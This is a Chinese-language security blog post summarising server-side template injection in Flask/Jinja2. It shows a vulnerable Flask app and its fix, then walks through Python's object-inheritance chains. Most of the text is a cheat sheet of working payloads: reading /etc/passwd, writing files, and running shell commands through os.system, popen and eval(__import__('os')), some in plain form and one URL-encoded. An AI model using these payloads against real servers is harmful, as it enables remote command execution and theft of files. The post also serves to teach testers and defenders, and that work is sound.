flask模板注入漏洞总结.md

SSTI

Posted by mr_king on October 13, 2020

flask模板注入漏洞总结

[TOC]

前言

由于博客原因,请去空格

Python中的SSTI

python常见的模板有:Jinja2,tornado

Jinja2

inja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的

Jinja2是Flask框架的一部分。Jinja2会把模板参数提供的相应的值替换了 { {…} } 块

Jinja2使用 { {name} }结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取。

Jinja2 模板同样支持控制语句,像在 { %…% } 块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:

<ul>
     { % for comment in comments % }
         <li>{ {comment} }</li>
     { % endfor % }
</ul>

另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

Hello, { {name|capitalize} }
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()

t = Template(“hello” + name) 这行代码表示,将前端输入的name拼接到模板,此时name的输入没有经过任何检测,尝试使用模板语言测试:

0h9mRJ.png

如果使用一个固定好了的模板,在模板渲染之后传入数据,就不存在模板注入,就好像SQL注入的预编译一样,修复上面代码如下:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello { {n} }")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

编译运行,再次注入就会失败

image-20201013155651519

由于在jinja2中是可以直接访问python的一些对象及其方法的,所以可以通过构造继承链来执行一些操作,比如文件读取,命令执行等:

__dict__   保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__    返回一个包含对象所继承的基类元组方法在解析时按照元组的顺序解析
__bases__  :以元组形式返回一个类直接所继承的类可以理解为直接父类__base__   和上面的bases大概相同都是返回当前类所继承的类即基类区别是base返回单个bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   类的初始化方法
__globals__     对包含函数全局变量的字典的引用__builtin__&&__builtins__  :python中可以直接运行一些函数例如int()list()等等。                  这些函数可以在__builtin__可以查到查看的方法是dir(__builtins__)                  在py3中__builtin__被换成了builtin                  1.在主模块main中__builtins__是对内建模块__builtin__本身的引用即__builtins__完全等价于__builtin__。                  2.非主模块main中__builtins__仅是对__builtin__.__dict__的引用而非__builtin__本身

用file对象来读取文件

for c in {}.__class__.__base__.__subclasses__():
    if(c.__name__=='file'):
        print(c)
        print c('joker.txt').readlines()
## python3未成功,python2可以

0hEF1S.png

上述代码先通过__class__获取字典对象所属的类,再通过__base__(bases[0])拿到基类,然后使用__subclasses__()获取子类列表,在子类列表中直接寻找可以利用的类

为了方便理解,我直接把获取到的子类列表打印出来:

for c in {}.__class__.__base__.__subclasses__():
    print(c) 
    

打印结果如下:(python 3.7.5)

<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>        
<class 'traceback'>
<class 'super'>
<class 'range'>
<class 'dict'>
<class 'dict_keys'>
<class 'dict_values'>
<class 'dict_items'>
<class 'odict_iterator'>
<class 'set'>
<class 'str'>
<class 'slice'>
<class 'staticmethod'>
<class 'complex'>
<class 'float'>
<class 'frozenset'>
<class 'property'>
<class 'managedbuffer'>
<class 'memoryview'>
<class 'tuple'>
<class 'enumerate'>
<class 'reversed'>
<class 'stderrprinter'>
<class 'code'>
<class 'frame'>
<class 'builtin_function_or_method'>
<class 'method'>
<class 'function'>
<class 'mappingproxy'>
<class 'generator'>
<class 'getset_descriptor'>
<class 'wrapper_descriptor'>        
<class 'method-wrapper'>
<class 'ellipsis'>
<class 'member_descriptor'>
<class 'types.SimpleNamespace'>
<class 'PyCapsule'>
<class 'longrange_iterator'>
<class 'cell'>
<class 'instancemethod'>
<class 'classmethod_descriptor'>
<class 'method_descriptor'>
<class 'callable_iterator'>
<class 'iterator'>
<class 'coroutine'>
<class 'coroutine_wrapper'>
<class 'moduledef'>
<class 'module'>
<class 'EncodingMap'>
<class 'fieldnameiterator'>
<class 'formatteriterator'>
<class 'filter'>
<class 'map'>
<class 'zip'>
<class 'BaseException'>
<class 'hamt'>
<class 'hamt_array_node'>
<class 'hamt_bitmap_node'>
<class 'hamt_collision_node'>
<class 'keys'>
<class 'values'>
<class 'items'>
<class 'Context'>
<class 'ContextVar'>
<class 'Token'>
<class 'Token.MISSING'>
<class '_frozen_importlib._ModuleLock'>
<class '_frozen_importlib._DummyModuleLock'>        
<class '_frozen_importlib._ModuleLockManager'>      
<class '_frozen_importlib._installed_safely'>       
<class '_frozen_importlib.ModuleSpec'>
<class '_frozen_importlib.BuiltinImporter'>
<class 'classmethod'>
<class '_frozen_importlib.FrozenImporter'>
<class '_frozen_importlib._ImportLockContext'>      
<class '_thread._localdummy'>
<class '_thread._local'>
<class '_thread.lock'>
<class '_thread.RLock'>
<class 'zipimport.zipimporter'>
<class '_frozen_importlib_external.WindowsRegistryFinder'>
<class '_frozen_importlib_external._LoaderBasics'>  
<class '_frozen_importlib_external.FileLoader'>
<class '_frozen_importlib_external._NamespacePath'> 
<class '_frozen_importlib_external._NamespaceLoader'>
<class '_frozen_importlib_external.PathFinder'>     
<class '_frozen_importlib_external.FileFinder'>     
<class '_io._IOBase'>
<class '_io._BytesIOBuffer'>
<class '_io.IncrementalNewlineDecoder'>
<class 'nt.ScandirIterator'>
<class 'nt.DirEntry'>
<class 'PyHKEY'>
<class 'codecs.Codec'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<class 'codecs.StreamReaderWriter'>
<class 'codecs.StreamRecoder'>
<class '_abc_data'>
<class 'abc.ABC'>
<class 'dict_itemiterator'>
<class 'collections.abc.Hashable'>
<class 'collections.abc.Awaitable'>
<class 'collections.abc.AsyncIterable'>
<class 'async_generator'>
<class 'collections.abc.Iterable'>
<class 'bytes_iterator'>
<class 'bytearray_iterator'>
<class 'dict_keyiterator'>
<class 'dict_valueiterator'>
<class 'list_iterator'>
<class 'list_reverseiterator'>
<class 'range_iterator'>
<class 'set_iterator'>
<class 'str_iterator'>
<class 'tuple_iterator'>
<class 'collections.abc.Sized'>
<class 'collections.abc.Container'>
<class 'collections.abc.Callable'>
<class 'os._wrap_close'>
<class '_sitebuiltins.Quitter'>
<class '_sitebuiltins._Printer'>
<class '_sitebuiltins._Helper'>
<class 'MultibyteCodec'>
<class 'MultibyteIncrementalEncoder'>
<class 'MultibyteIncrementalDecoder'>
<class 'MultibyteStreamReader'>
<class 'MultibyteStreamWriter'>
<class 'types.DynamicClassAttribute'>
<class 'types._GeneratorWrapper'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class 'importlib.abc.Finder'>
<class 'importlib.abc.Loader'>
<class 'importlib.abc.ResourceReader'>
<class 'operator.itemgetter'>
<class 'operator.attrgetter'>
<class 'operator.methodcaller'>
<class 'itertools.accumulate'>
<class 'itertools.combinations'>
<class 'itertools.combinations_with_replacement'>   
<class 'itertools.cycle'>
<class 'itertools.dropwhile'>
<class 'itertools.takewhile'>
<class 'itertools.islice'>
<class 'itertools.starmap'>
<class 'itertools.chain'>
<class 'itertools.compress'>
<class 'itertools.filterfalse'>
<class 'itertools.count'>
<class 'itertools.zip_longest'>
<class 'itertools.permutations'>
<class 'itertools.product'>
<class 'itertools.repeat'>
<class 'itertools.groupby'>
<class 'itertools._grouper'>
<class 'itertools._tee'>
<class 'itertools._tee_dataobject'>
<class 'reprlib.Repr'>
<class 'collections.deque'>
<class '_collections._deque_iterator'>
<class '_collections._deque_reverse_iterator'>      
<class 'collections._Link'>
<class 'functools.partial'>
<class 'functools._lru_cache_wrapper'>
<class 'functools.partialmethod'>
<class 'contextlib.ContextDecorator'>
<class 'contextlib._GeneratorContextManagerBase'>   
<class 'contextlib._BaseExitStack'>

Python(2.7.17)

<type 'type'>
<type 'weakref'>
<type 'weakcallableproxy'>
<type 'weakproxy'>
<type 'int'>
<type 'basestring'>
<type 'bytearray'>
<type 'list'>
<type 'NoneType'>
<type 'NotImplementedType'>        
<type 'traceback'>
<type 'super'>
<type 'xrange'>
<type 'dict'>
<type 'set'>
<type 'slice'>
<type 'staticmethod'>
<type 'complex'>
<type 'float'>
<type 'buffer'>
<type 'long'>
<type 'frozenset'>
<type 'property'>
<type 'memoryview'>
<type 'tuple'>
<type 'enumerate'>
<type 'reversed'>
<type 'code'>
<type 'frame'>
<type 'builtin_function_or_method'>
<type 'instancemethod'>
<type 'function'>
<type 'classobj'>
<type 'dictproxy'>
<type 'generator'>
<type 'getset_descriptor'>
<type 'wrapper_descriptor'>        
<type 'instance'>
<type 'ellipsis'>
<type 'member_descriptor'>
<type 'file'>
<type 'PyCapsule'>
<type 'cell'>
<type 'callable-iterator'>
<type 'iterator'>
<type 'sys.long_info'>
<type 'sys.float_info'>
<type 'EncodingMap'>
<type 'fieldnameiterator'>
<type 'formatteriterator'>
<type 'sys.version_info'>
<type 'sys.flags'>
<type 'sys.getwindowsversion'>
<type 'exceptions.BaseException'>
<type 'module'>
<type 'imp.NullImporter'>
<type 'zipimport.zipimporter'>
<type 'nt.stat_result'>
<type 'nt.statvfs_result'>
<class 'warnings.WarningMessage'>
<class 'warnings.catch_warnings'>
<class '_weakrefset._IterationGuard'>
<class '_weakrefset.WeakSet'>
<class '_abcoll.Hashable'>
<type 'classmethod'>
<class '_abcoll.Iterable'>
<class '_abcoll.Sized'>
<class '_abcoll.Container'>
<class '_abcoll.Callable'>
<type 'dict_keys'>
<type 'dict_items'>
<type 'dict_values'>
<class 'site._Printer'>
<class 'site._Helper'>
<type '_sre.SRE_Pattern'>
<type '_sre.SRE_Match'>
<type '_sre.SRE_Scanner'>
<class 'site.Quitter'>
<class 'codecs.IncrementalEncoder'>
<class 'codecs.IncrementalDecoder'>
<type 'operator.itemgetter'>
<type 'operator.attrgetter'>
<type 'operator.methodcaller'>
<type 'functools.partial'>
<type 'MultibyteCodec'>
<type 'MultibyteIncrementalEncoder'>
<type 'MultibyteIncrementalDecoder'>
<type 'MultibyteStreamReader'>
<type 'MultibyteStreamWriter'>

使用dir来看一下file这个子类的内置方法:

dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']

将要读取的文件传进入并使用readlines()方法读取,就相当于:

file('joker.txt').readlines()

可以在python交互终端中尝试输出:

0hel1f.png

再使用jinja2的语法封装成可解析的样子:

{ % for c in [].__class__.__base__.__subclasses__() % }
{ % if c.__name__=='file' % }
{ { c("/etc/passwd").readlines() } }
{ % endif % }
{ % endfor % }
#%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%3d%3d%27%66%69%6c%65%27%20%25%7d%a%7b%7b%20%63%28%22%2f%65%74%63%2f%70%61%73%73%77%64%22%29%2e%72%65%61%64%6c%69%6e%65%73%28%29%20%7d%7d%a%7b%25%20%65%6e%64%69%66%20%25%7d%a%7b%25%20%65%6e%64%66%6f%72%20%25%7d

0huChn.png

内置模块执行命令

上面的实例中我们使用dir把内置的对象列举出来,其实可以用__globals__更深入的去看每个类可以调用的东西(包括模块,类,变量等等),如果有os这种可以直接传入命令,造成命令执行

#coding:utf-8search = 'os'   #也可以是其他你想利用的模块
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass 

0hwjTs.png

().__class__.__bases__[0].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[72].__init__.__globals__['os'].system('whoami')
().__class__.__mro__[1].__subclasses__()[77].__init__.__globals__['os'].system('whoami')

0hrmhn.png

不过同样,只能在python2版本使用

这时候就要推荐__builtins__:

#coding:utf-8

search = '__builtins__'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
    num += 1
    try:
        print(i.__init__.__globals__.keys())
        if search in i.__init__.__globals__.keys():
            print(i, num)
    except:
        pass

0hf7Uf.png

这时候我们的命令执行payload就出来了:

Python3:

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

Python2:

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

基础payload

获得基类
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__。。。class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]

#python 2.7
#文件操作
#找到file类
[].__class__.__bases__[0].__subclasses__()[40]
#读文件
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#写文件
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

#命令执行
#os执行
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache下有os类可以直接执行命令
[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()
#eval,impoer等全局函数
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__下有eval__import__等的全局函数可以利用此来执行命令
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

#python3.7
#命令执行
{ % for c in [].__class__.__base__.__subclasses__() % }{ % if c.__name__=='catch_warnings' % }{ { c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") } }{ % endif % }{ % endfor % }
#文件操作
{ % for c in [].__class__.__base__.__subclasses__()  % }{ % if c.__name__=='catch_warnings' % }{ { c.__init__.__globals__['__builtins__'].open('filename', 'r').read() } }{ % endif % }{ % endfor % }
#windows下的os命令
"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()